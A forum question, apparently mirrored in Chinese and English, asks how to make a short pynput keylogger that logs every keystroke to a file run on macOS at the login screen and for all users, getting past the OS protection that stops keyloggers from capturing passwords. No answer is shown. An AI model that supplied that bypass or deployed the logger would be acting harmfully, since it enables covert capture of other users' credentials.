pynput键盘侦听器在MacOS x中不做全球工作

发布于 2025-02-03 18:21:15 字数 652 浏览 4 评论 0原文

我正在使用pynput在Macos Monterey上录制击键,并修复了该问题,其中说“这个过程不信任...”,因为我登录时,但在登录屏幕上仍然显示。我知道MacOS正在阻止此操作,以防止钥匙记录员获取您的密码,但实际上我想要它可以在那里工作。

如果有帮助,这是我的代码:

#! usr/bin/python3
from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

# This code simply writes the keystrokes to a file.

我希望在登录屏幕上工作的原因是因为MacOS停止PYNPUT过程,因为该程序不信任。我希望该程序继续运行。

那么,如何在所有用户,甚至在登录屏幕上都能使此代码在MacOS上在MacOS上工作?

I am using pynput to record keystrokes on MacOS Monterey, and I fixed the issue where it says "This process isn't trusted ..." for when I'm logged in, but on the login screen it still shows. I understand that MacOS is blocking this to prevent a keylogger from getting your password, but I actually want it to work there.

Here's my code if it helps:

#! usr/bin/python3
from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s")

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener :
    listener.join()

# This code simply writes the keystrokes to a file.

The reason I want this to work on the login screens is because the program stops itself once MacOS stops the pynput process because it's not trusted. I want the program to keep running.

So, how can I get this code to work globally on MacOS, throughout all users, and even in the login screen?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文